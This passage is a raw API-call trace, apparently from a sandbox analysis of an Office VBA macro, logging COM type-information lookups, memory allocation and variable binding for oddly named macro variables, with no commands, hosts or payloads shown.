[2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.201] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612747, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612747, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612747, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.202] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x64897d0 [0076.202] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.202] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.202] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.202] GetCurrentProcess () returned 0xffffffffffffffff [0076.202] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x43) returned 1 [0076.202] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.202] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.202] IUnknown:Release (This=0xb941980) returned 0x4 [0076.202] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.202] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.202] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.202] IUnknown:Release (This=0xb941980) returned 0x4 [0076.202] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.202] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395df8, cbMultiByte=2, lpWideCharStr=0x5ed10cc, cchWideChar=6 | out: lpWideCharStr="RA") returned 2 [0076.202] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.203] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.203] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.203] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.203] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff468 | out: ppvObject=0x1ff468*=0x0) returned 0x80004002 [0076.203] ITypeInfo:RemoteGetTypeAttr (in: This=0xb824728, ppTypeAttr=0x1ff448, pDummy=0x10 | out: ppTypeAttr=0x1ff448, pDummy=0x10) returned 0x0 [0076.203] ITypeInfo:LocalReleaseTypeAttr (This=0xb824728) returned 0x0 [0076.203] IUnknown:AddRef (This=0xb824728) returned 0x4 [0076.203] IUnknown:Release (This=0xb824728) returned 0x3 [0076.203] IUnknown:Release (This=0xb824728) returned 0x2 [0076.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1001e, cbMultiByte=12, lpWideCharStr=0x1ff430, cchWideChar=13 | out: lpWideCharStr="valvegamess") returned 12 [0076.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1001e, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="valvegamess") returned 12 [0076.203] ITypeComp:RemoteBind (in: This=0x679bb90, szName="valvegamess", lHashVal=0x10028a, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1001e, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="valvegamess") returned 12 [0076.203] ITypeComp:RemoteBind (in: This=0x5a48630, szName="valvegamess", lHashVal=0x10028a, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1001e, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="valvegamess") returned 12 [0076.203] ITypeComp:RemoteBind (in: This=0x679c130, szName="valvegamess", lHashVal=0x10028a, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1001e, cbMultiByte=12, lpWideCharStr=0x1ff470, cchWideChar=13 | out: lpWideCharStr="valvegamess") returned 12 [0076.203] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="valvegamess", lHashVal=0x10028a, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.203] IMalloc:Alloc (This=0x7fefe465380, cb=0x13) returned 0x62ed410 [0076.203] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xc, _Src=0x5d1001e | out: _Dst=0x62ed410) returned 0x0 [0076.203] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x13, _Src="_B_var_valvegamess" | out: _Dst="_B_var_valvegamess") returned 0x0 [0076.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=19, lpWideCharStr=0x1ff3d0, cchWideChar=19 | out: lpWideCharStr="_B_var_valvegamess") returned 19 [0076.203] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.203] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_valvegamess", lHashVal=0x10f42b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.203] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.203] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.203] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_valvegamess", lHashVal=0x10f42b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.203] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.203] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.203] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_valvegamess", lHashVal=0x10f42b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.204] IUnknown:Release (This=0x679c120) returned 0x7 [0076.204] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.204] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_valvegamess", lHashVal=0x10f42b, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.204] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.204] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.204] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d1037a, cbMultiByte=19, lpWideCharStr=0x1ff430, cchWideChar=20 | out: lpWideCharStr="_B_var_valvegamess") returned 19 [0076.204] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_valvegamess", lHashVal=0x10f42b, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x76005f00720061, ppTypeComp=0x65007600000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x76005f00720061, ppTypeComp=0x65007600000000, pDummy=0x0) returned 0x0 [0076.204] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xc, _Src=0x5d1001e | out: _Dst=0x1ff5f0) returned 0x0 [0076.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10072, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="olivergobane") returned 13 [0076.204] ITypeComp:RemoteBind (in: This=0x679bb90, szName="olivergobane", lHashVal=0x108f69, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10072, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="olivergobane") returned 13 [0076.204] ITypeComp:RemoteBind (in: This=0x5a48630, szName="olivergobane", lHashVal=0x108f69, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10072, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="olivergobane") returned 13 [0076.204] ITypeComp:RemoteBind (in: This=0x679c130, szName="olivergobane", lHashVal=0x108f69, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10072, cbMultiByte=13, lpWideCharStr=0x1ff470, cchWideChar=14 | out: lpWideCharStr="olivergobane") returned 13 [0076.204] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="olivergobane", lHashVal=0x108f69, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.204] IMalloc:Alloc (This=0x7fefe465380, cb=0x14) returned 0x62ed410 [0076.204] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xd, _Src=0x5d10072 | out: _Dst=0x62ed410) returned 0x0 [0076.204] strcpy_s (in: _Dst=0x1ff580, _DstSize=0x14, _Src="_B_var_olivergobane" | out: _Dst="_B_var_olivergobane") returned 0x0 [0076.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff580, cbMultiByte=20, lpWideCharStr=0x1ff3d0, cchWideChar=20 | out: lpWideCharStr="_B_var_olivergobane") returned 20 [0076.204] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.204] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_olivergobane", lHashVal=0x10c8c5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.204] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.204] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.204] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_olivergobane", lHashVal=0x10c8c5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.204] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.204] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.204] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_olivergobane", lHashVal=0x10c8c5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.204] IUnknown:Release (This=0x679c120) returned 0x7 [0076.204] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.204] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_olivergobane", lHashVal=0x10c8c5, pfName=0x1ff4a0, pBstrLibName=0x1ff3d0 | out: pfName=0x1ff4a0*=0, pBstrLibName=0x1ff3d0) returned 0x0 [0076.204] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.204] IUnknown:AddRef (This=0x679bb80) returned 0x11 [0076.204] IUnknown:Release (This=0x679bb80) returned 0x10 [0076.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d103ae, cbMultiByte=20, lpWideCharStr=0x1ff430, cchWideChar=21 | out: lpWideCharStr="_B_var_olivergobane") returned 20 [0076.205] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_olivergobane", lHashVal=0x10c8c5, wFlags=0x5, ppTInfo=0x1ff3e8, pDescKind=0x1ff3fc, ppFuncDesc=0x1ff400, ppVarDesc=0x6f005f00720061, ppTypeComp=0x65007600000000, pDummy=0x0 | out: ppTInfo=0x1ff3e8*=0x0, pDescKind=0x1ff3fc*=0, ppFuncDesc=0x1ff400, ppVarDesc=0x6f005f00720061, ppTypeComp=0x65007600000000, pDummy=0x0) returned 0x0 [0076.205] _mbscpy_s (in: _Dst=0x1ff5f0, _DstSizeInBytes=0xd, _Src=0x5d10072 | out: _Dst=0x1ff5f0) returned 0x0 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.205] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.205] IUnknown:Release (This=0xb941980) returned 0x4 [0076.205] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.205] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.205] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.205] IUnknown:Release (This=0xb941980) returned 0x4 [0076.205] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.205] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612744, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.205] IUnknown:AddRef (This=0xb941980) returned 0x5 [0076.205] IUnknown:Release (This=0xb941980) returned 0x4 [0076.205] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.205] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.205] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.206] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, 